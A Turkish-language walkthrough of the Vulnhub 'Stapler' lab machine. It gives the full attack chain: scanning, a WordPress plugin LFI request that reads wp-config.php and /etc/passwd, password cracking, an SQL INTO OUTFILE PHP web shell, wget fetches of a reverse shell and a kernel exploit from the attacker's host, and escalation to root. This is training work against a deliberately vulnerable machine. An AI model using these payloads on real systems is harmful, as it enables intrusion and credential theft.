Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Vulnhub Stapler – Walkthrough

Stapler zafiyetli makine için root olmamız isteniyor. Makineyi indirmek için;

Makineyi indirip sanal makineye attım. Artık teste başlayalım.

Öncelikle makinenin IP adresini belirlemem gerekiyordu. Bulunduğum ağdaki IP aralığındaki makineleri tespit ettim.

nbtscan 192.168.1.0/24

Sızmak istediğim makine IP adresi 192.168.1.53 olarak buluyorum. Makineye  bir nmap taraması gerçekleştirip hangi portları açık onlara bakalım.

nmap  -sS -sV 192.168.1.53 -Pn -n -p-

Makine de 21 /ftp, 22/ ssh, 53/ domain, 80/ http, 139 / netbios-ssn, 666/doom, 3306/mysql, 12380/http portlarının açık halde olduğu ortaya çıktı.

Öncelikle http/80 portu açık olduğu için browser üzerinden buraya bakalım neler bulacağız. Buradan birşey çıkmıyor bir hata sayfası varmış.

O zaman bir de 12380 portuna bakalım. Biraz bunu kurcalayayım diyerek browser üzerinde baktığımda bir web sayfası açıldı.

Sayfayı kurcaladığımda birşeyler bulamadığımı fark ettim ve bu temayı araştırarak wordpress bir tema olduğunu buldum.

Bu web sayfası üzerinden giderek veri elde edebileceğimi düşünerek zafiyet aramaya başladım. Öncelikle işimi biraz kolaylaştırması amacıyla nikto aracından faydalandım.

nikto -h 192.168.1.53
  • Bu parametre ile aşağıdaki gibi bir çıktı verdi. /.bashrc ve /.profile dosyalarını indirdim ama içinden birşeyler çıkmadığını gördüm.

nikto -h 192.168.1.53 -p 12380
  • -p parametresi ile port belirterek bir tarama gerçekleştirdiğimde ise aşağıdaki gibi bir çıktı verdi.


Tarama sonucunda;

    • Server: Apache/2.4.18 (Ubuntu)
    • /blogblog , /admin112233 ve /phpmyadmin dizinlerini bulmuş oldum.

Bu dizinlerin varlığını kontrol etmeye kalktığımda,

    • 192.168.1.53:12380/blogblog sayfasını görüntülemek istiyorum ama  192.168.1.53:12380 sayfasında kalıyor. Diğer dizinlerde de aynı şekilde olduğunu fark edince burada bir istek hatası olduğunu düşündüm.

***NOT: Buradaki önemli nokta  https:// ile istek atmam gerektiğiydi.

    • https://192.168.1.53:12380/blogblog  sayfasını görüntülemek istediğimde güvenli olduğunu belirterek açtım. İşte buuu!! Artık dizinler görüntülenebiliyooor.

Sayfaları biraz kurcalamaya başladım. Sonra bu web sayfasının wordpress olduğunu öğrendiğim için WPSCAN yardımıyla zafiyet taraması gerçekleştirdim.

  • wpscan https://192.168.1.53:12380/blogblog 
    • wpscan ile  dizine bu şekilde tarama gerçekleştirebileceğimiz gibi daha specific sonuçlar elde etmek için enumarate parametreleri ekleyebiliriz.
    • u ile tüm kullanıcıları
    • vp ile zafiyetli pluginleri
    • ap ile tüm pluginleri listeleyecek şekilde sonuç verecektir.

 

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate u
    • Elde ettiğim wordpress kullanıcıları:
      • John, elly, peter, barry, heater, garry, harry, scott, kathy, tim

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate vp
    • Akismet  eklentisinde versiyon 2.5.0-3.1.4 arasında  Stored XSS  zafiyeti olduğunu ve 3.1.5 ile kapatıldığını söylüyordu.

  • wpscan https://192.168.1.53:12380/blogblog   —enumerate ap
    • Tüm eklentileri aradığımızda 4 tane eklenti kurulu olduğunu gördüm. Bunlar;
      • Advanced-video-embed-embed-videos-or-playlist – v1.0
      • Akismet
      • shortcode-ui -v0.6.2
      • two-factor
    • Bu eklentilerde  zafiyet olup olmadığını araştırdığımda kurulu olan Advanced Video 1.0 versiyonunda LFI (Local File Inclusion) zafiyeti olduğunu buldum.Exploit-DB Link : https://www.exploit-db.com/exploits/39646
    • https://192.168.1.53:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlist/

Wpscan taramasında Advanced Video  v1.0 eklentisi için exploit-db de yayınlanan zafiyetin bulunduğu adres üzerinden LFI deneyeyim diye düşündüm.

  • http://192.168.1.53:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php  
    • wp-config.php okumak için her istek attığımda /blogblog/ dizini altına yeni bir post attığını ve bu postlarda ismi random sayılardan oluşan bir jpeg dosyası olduğunu fark ettim.

  • https://192.168.1.53:12380/blogblog/wp-content/uploads/ 
    • Bu jpeg dosyalarının/uploads/ dizini altında her istekle arttığını fark ettim.

Bu farklı boyuttaki jpeg dosyalarını kendi makineme indirip bir inceleyeyim diye düşündüm.

  • curl -k https://192.168.1.53:12380/blogblog/wp-content/uploads/1388800993.jpeg > resimmi.jpeg
    • Dosyayı indirerek yeni bir resim dosyasına attım.

  • file resimmi.jpeg
    • Dosyanın aslında bir PHP dosyası olduğu gördüm.

  • cat resimmi.jpeg 
    • Dosyayı okuduğumda aslında wp-config.php dosyası olduğunu gördüm. Database bağlantısı gerçekleşiyor ayrıca içerisinde kullanıcı adı ve şifre bulunuyordu.

Şimdi phpmyadmin e   giriş yapabilirim.

  • https://192.168.1.53:12380/phpmyadmin
    • kullanıcı adı: root
    • şifre : plbkac
  • Terminal üzerinden  de mysql bağlantısı gerçekleştirerek veritabanlarına ulaşabiliyorum.
    • mysql -u root -p -h 192.168.1.53
    • show databases;

  

  • use wordpress
  • show tables;

  • select * from wp_users;
    • WordPress kullanıcıları ve şifreleri hash halinde elde ettim.

  • Hash olarak elde ettiğim parolaları bir text dosyasına kaydediyorum ve John the Ripper aracı ile parolaları kırmaya çalışıyorum. Bulduğum parolalar;
  • john parola.txt
    • football
    • monkey
    • cookie
    • TOM
    • thumb
    • coolgil
  • Daha sonra [kullanıcıadı:parolahash] şeklinde  dosyada düzenleme yapıp rockyou.txt wordlist vererek kırmaya başlıyorum(işlem saatlerce sürüyor). Sonuçta bulduğu parolaları kullanıcı adlarına göre veriyor.
  • John —wordlist=/usr/share/wordlists/rockyou.txt  parola.txt
    • washere      (barry)
    • incorrect     (john)
    • 0520        (pam)
    • passphrase    (heather)
    • damachine   (dave)
    • partyqueen  (zoe)

Bu kullanıcı adları ssh veya ftp bağlantısı gerçekleştirmek istediğimde kullanılabilir diye tek tek hepsini denedim fakat hiçbirisi ile başarılı bağlantı gerçekleştiremedim.

LFI zafiyeti bulunan adreste /etc/passwd dosyasınını da okumaya çalıştım. Ama hata ile karşılaştım.İşte bu güzel çünkü dizin yapısı geldi.


../../../../../../../../../etc/passwd dizinine gitmek istediğimde ise dizin hatasının ortadan kalkıyor ve yine bir post linkini veriyor.

/etc/passwd dosya okuması için attığım her istek sonucunda https://192.168.1.53:12380/blogblog  sayfasında yine yeni bir post yayınlandı.

  • /blogblog/wp-content/uploads/ içerisinde postlar için atanan jpeg dosyalarından son oluşturulanı indirip inceleyeceğim.

  • curl -k https://192.168.1.53:12380/blogblog/wp-content/uploads/160095933.jpeg > s.jpeg
  • cat s.jpeg

Böylece /etc/passwd dosyasını görüntülemiş olduk.

Şimdi phpmyadmin de root olarak giriş yapabiliyorum. O zaman phpmyadmin yoluyla makineye bir shell.php dosyası yüklemeyi deneyebilirim.

Öncelikle Pentest Monkey Shell dosyası indiriyorum.

  • Daha sonra SQL tarafında select “<? System($_REQUEST[‘cmd’]); ?>”  INTO OUTFILE ‘/var/www/https/blogblog/uploads/shell.php sorgusunu çalıştırıyorum. Böylece /uploads/altına shell.php dosyası oluşturuyor.

  • Yüklenen bu dosya sayesinde wget komutunu kullanarak pentest monkey shell dosyasını kendi makinemden /uploads/ dizinine indiriyorum.
    • https://192.168.1.53:12380/blogblog/wp-content/uploads/shell.php?cmd= wget 192.168.1.38:9090/meryem2.php

Netcat yardımıyla portu dinliyorum ve browser da meryem2.php shell dosyasına tıklayınca terminalde shell e düştüm.

  • nc -lvp 1337 
    • l: dinleme modu
    • v: bilgi verme modu
    • p: port bilgisi

  • Interactive shell almak için;
    • python -c ‘import pty;pty.spawn(“/bin/bash”)’
  • Kullanıcı yetkisini öğrenmek için;
    • $id 

YETKİ YÜKSELTME 

/home dizinine geçip tüm kullanıcıların /.bash_history dosyasını okuyabilirim.

  • cat  */.bash_history
    • /.bash_history okuduğumda peter ve JKanode kullanıcılarının ssh bağlantısı yaptığını ve parolalarını buldum.

O zaman örnek olarak peter kullanıcısı için ssh bağlantısı gerçekleştirmeye çalışıyorum. Parola doğru ve giriş yapabildim.

  • id ile kullanıcının yetkisine bakıyorum.

sudo -i ile peter kullanıcısına root yetkisi verdiriyorum. Peter için aynı parolayı giriyorum ve artık root yetkilerine sahibim.

ls -la ile bakıyorum şimdi burada neler neler varmış. Bir flag.txt dosyası dikkatimi çekiyor.

cat flag.txt ile okuduğumda —–(:::Congratulations:::)—– flag karşımda 🙂

Yetki yükseltmek için başka bir yöntem de deneyebiliriz. Makineye shell attığımda kernel bilgilerini veriyordu.

Ama yine de biz bunu farklı yöntemlerle de öğrenebiliriz.

  • uname -a 
  • lsb_release -a

Linux Kernel 4.4.0.21 araştırdığımda exploit-db de zafiyetinin yayınlandığını gördüm.

  • Exploit-DB Linki:  https://www.exploit-db.com/exploits/39772/

Zafiyeti exploit edebileceğimiz script ise burada yer alıyor.

  • cd tmp
    • /tmp dizininin altına gidiyoruz.
  • wget 192.168.1.36:9090/exploit.tar
    • Kendi makineme indirdiğim exploit.tar dosyasını buraya çekiyorum.
  • tar -xf exploit.tar 
    • Sıkıştırılmış klasörü çıkartıyorum.

ebpf_mapfd_doubleput_exploit  isimli bir klasör çıktı. Klasör içine giriyorum. Önce ./compile.sh dosyasını çalıştırıyorum.

Sonra ./doubleput dosyasını çalıştırıyorum. Ve artık root yetkilerine sahibim.

  • cd root
    • root dizini altına gidiyorum ve dizinde bulunan dosya ve klasörleri listeliyorum.
  • cat flag.txt
    • flag.txt dosyası dikkatimizi çekiyor ve açtığımda yine flag karşımda 🙂